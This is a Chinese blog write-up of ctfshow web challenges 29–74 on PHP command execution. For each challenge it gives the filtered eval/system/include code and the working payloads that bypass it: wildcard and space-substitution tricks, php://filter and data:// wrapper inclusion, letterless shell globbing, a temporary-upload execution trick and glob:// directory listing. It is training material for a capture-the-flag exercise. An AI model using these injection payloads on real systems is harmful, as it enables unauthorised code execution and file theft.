CTFSHOW-WEB入门-命令执行
web29
①考点:通配符绕过
②关键源代码:
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag/i", $c)) { eval($c); } }
③由于绕过了flag,直接/?c=system('cat f*');再查看源码,flag就出来了
web30
①这题增加了对命令执行函数的过滤
②关键代码
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)) { eval($c); } }
③常见的命令执行函数有
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec()
只有system函数是有回显的,其他函数可以通过echo来显示
④构造payload:
/?c=echo`cat f*`;
web31
①过滤了这些关键字以及空格,单引号和句号
②关键代码
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)) { eval($c); } }
③空格绕过
> < <> 重定向符 %09(需要php环境) ${IFS} $IFS$9 {cat,flag.php} //用逗号实现了空格功能 %20 %09
④cat绕过
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容
⑤解法一:payload如下
/?c=echo(`tac%09f*`);
解法二:payload如下
/?c=eval($_GET[a]);&a=system('cat flag.php');
解法二:hint:
show_source(next(array_reverse(scandir(pos(localeconv()))))
具体各个函数的用法这篇博客写得很详细
web32
①考点:文件包含以及伪协议读取
②关键代码:
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)) { eval($c); } }
这次又过滤了分号,反引号,echo,左括号
③直接用include进行无括号的文件包含,分号用?>替代,payload如下:
/?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web33
①关键代码:
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)) { eval($c); } }
②和上题解法一样
/?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web34
①关键代码:
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)) { eval($c); } }
②只是又过滤了一个冒号,对解题没有任何影响,payload同上
/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web35
①关键代码
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)) { eval($c); } }
②又多过滤了一个左尖括号,同样没什么影响,payload同上
/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web36
①关键代码
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)) { eval($c); } }
②就是多过滤了个数字,payload还是不变
/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
①关键代码
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag/i", $c)) { include($c); echo $flag; } }
②用data伪协议
data伪协议:将后面的字符当做PHP代码执行 data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
③payload:
/?c=data://text/plain,<?php system("cat f*")?>
web38
①关键代码
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)) { include($c); echo $flag; } }
②与上题相比,多过滤了一个php,用base64编码绕过即可
/?c=data:<span class="hljs-comment">//text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs/Pg==
③注意一下细节就是,这个data语句要用分号结尾不能用逗号,不然就回显逗号后面的内容
web39
①关键代码
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/flag/i", $c)) { include($c.".php"); } }
②题目提示:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
③payload如下:
/?c=data://text/plain,<?php system("cat *");?>
web40
①关键代码
if(isset($_GET['c'])) { $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)) { eval($c); } }
②过滤了好多符号,不过那个括号应该是中文括号,同web31,进行无参数的文件读取,payload如下:
/?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web41
①关键代码
if(isset($_POST['c'])) { $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)) { eval("echo($c);"); } }
②大佬博客:https://blog.csdn.net/miuzzx/article/details/108569080,救命,已经爆出来了,就是不对、、、
web42
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; system($c." >/dev/null 2>&1"); }
②这题主要考的是一个神奇的黑洞,看完这篇/dev/null 2>&1详解就明白了,只要让c先执行就行
; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
③payload:/?c=cat flag.php;
web43
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)) { system($c." >/dev/null 2>&1"); } }
②这题与上题相比过滤了cat和分号,但还有好多函数可以用,分号也可以用||替代
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep strings
③payload如下:
/?c=tac flag.php||
web44
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)) { system($c." >/dev/null 2>&1"); } }
②这题过滤了cat,flag和;,只要把flag用通配符过滤就行了
③payload:
/?c=tac f*||
web45
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)) { system($c." >/dev/null 2>&1"); } }
②这题多过滤了一个空格,空格有以下绕过方式
> < <> 重定向符 %09(需要php环境) ${IFS} $IFS$9 {cat,flag.php} //用逗号实现了空格功能 %20 %09
这题不知道为什么%20不行,%09就可以
③payload:
/?c=tac%09f*||
web46
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)) { system($c." >/dev/null 2>&1"); } }
②过滤了;|cat|flag| |[0-9]|\\$|\*,通配符可以用?替代,不过要注意的是?只能替代一个字符,而原来的*不限制字符的个数,空格用%09,而且%09竟然不属于数字
③payload如下:
/?c=tac%09f?ag.php||
web47
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)) { system($c." >/dev/null 2>&1"); } }
②只是多过滤了一些关键字,用tac还是可以
③payload如下:
/?c=tac%09f?ag.php||
web48
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)) { system($c." >/dev/null 2>&1"); } }
②完全是虚张声势,可以用tac和nl
③payload如下:
/?c=tac%09f?ag.php||
web49
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)) { system($c." >/dev/null 2>&1"); } }
②payload同上,但我不理解的是%09的%为什么也不会被过滤就像数字一样???
web50
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)) { system($c." >/dev/null 2>&1"); } }
②要注意一下,重定向符和?一起用没有回显,所以这里?用\代替或者用''
③payload如下:
/?c=tac<fl\ag.php|| /?c=tac<fl''ag.php||
web51
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)) { system($c." >/dev/null 2>&1"); } }
②过滤了tac,但可以用nl,%0a是换行,也可以作为命令分隔
③payload如下:
/?c=nl<fl\ag.php|| /?c=nl<fl\ag.php%0a
web52
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)) { system($c." >/dev/null 2>&1"); } }
②这题过滤了重定向符,可以用${IFS},但是这个flag是假的,要先查看一下根目录,再读取flag文件
③payload如下:
/?c=ls${IFS}/%0a //查看根目录 /?c=nl${IFS}/fl\ag%0a //读取根目录下的flag文件
web53
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)) { echo($c); $d = system($c); echo "<br>".$d; }else { echo 'no'; } }
②没有/dev/null/了,不需要做命令分隔
③payload如下:
/?c=nl${IFS}fl\ag.php
web54
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)) { system($c); } }
②解法一:grep${IFS}fla${IFS}fla?.php
意思就是在fla?.php中找到包含fla的文件,然后打印出来
③解法二(改文件名然后直接访问):rm${IFS}fl?g.php${IFS}a.txt
意思是将fl?g.php文件名改成a.txt然后url/a.txt访问得到flag
web55
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)) { system($c); } }
②没过滤. 数字 ?看一下大佬博客继无字母数字的命令执行(ctfshow web入门 55)新姿势
③解法一:c=/???/????64 ????.???
相当于c=/bin/base64 flag.php
有些浏览器可能限制字符长度,换个浏览器就好了
④解法二:c=/???/???/????2 ????.???
相当于c=/usr/bin/bzip2 flag.php
用bzip2将flag.php先进行压缩然后访问url/flag.php.bz2打开flag.php文件
web56
①关键代码
if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)) { system($c); } }
②这题既过滤了数字又过滤了所有小写字母,所以这题的姿势很有意思
先构造一个文件上传的html页面,代码如下:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST文件上传</title> </head> <body> <form action="http://59bd884e-d64a-4dc1-aaf7-3561c5a9b93c.challenge.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
然后上传一个new2.php文件并抓包,多试几次,因为不一定生成的临时文件的最后一个字母是大写,文件内容如下:
抓包之后,添加参数c=.%20/???/????????[@-[],如图:
这样它就执行了ls命令,至于为什么要构造c=.%20/???/????????[@-[]呢?
所以传入这个参数的意思就是匹配上传new2.php所生成的临时文件,并执行。
接着直接用cat flag.php查看一下flag.php文件就好了
web57
①关键代码
//flag in 36.php if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)) { system("cat ".$c.".php"); } }
②这题难在它过滤了?,不能用通配符进行无数字字母webshell,而且过滤了大量字符,只能用$和()构造数字,因为system函数中已经提供了cat和.php,所以只要构造出36就好了
③用$和()构造数字执行以下脚本
data = "$((~$(("+"$((~$(())))"*37+"))))" print(data) #如果要构造其他数字,执行把数字部分改为加1
得到payload实际上就是36个1:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58-65突破禁用函数
①关键代码
if(isset($_POST['c'])) { $c= $_POST['c']; eval($c); }
②payload:
c=show_source("flag.php"); c=echo highlight_file('flag.php'); c=highlight_file("flag.php");
web66
代码还是一样的,但过滤的内容不一样了,准确地说应该是文件名不一样了
c=print_r(scandir("/"));//查看根目录下的所有文件
然后查看flag.txt文件
c=highlight_file("/flag.txt");
web67
print_r被ban了,使用var_dump,payload如下:
c=var_dump(scandir("/")); c=highlight_file("/flag.txt");
web68-70(将文件显示换成文件包含)
过滤了show_source,highlight_file,print_r,可以用include
c=include('/flag.txt');
web71
①关键代码
if(isset($_POST['c'])) { $c= $_POST['c']; eval($c); $s = ob_get_contents();//获取缓冲区内容,但是不清除 ob_end_clean();//清空缓冲区,eval($c)的内容就没了 echo preg_replace("/[0-9]|[a-z]/i","?",$s);//将缓冲区的信息替换后输出 }
②用exit();停止后面的程序,payload如下:
c=include("/flag.txt");exit();
web72-74(glob协议扫描目录)
①关键代码
if(isset($_POST['c'])) { $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }
②之前的姿势不行了,这题要用glob协议扫描目录,有两种方法
解法一:直接找.txt结尾的文件
c=$a="glob:///*.txt";if($b=opendir($a)){ while(($file=readdir($b))!==false){ echo "filename:",$file."\n"; } closedir($b); } exit();
解法二:相当于ls
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
③找到文件为flag0.txt
本文来自博客园,作者:Athena-ydy,转载请注明原文链接:https://www.cnblogs.com/Athena-ydy/p/15819297.html
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· 【.NET】调用本地 Deepseek 模型
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库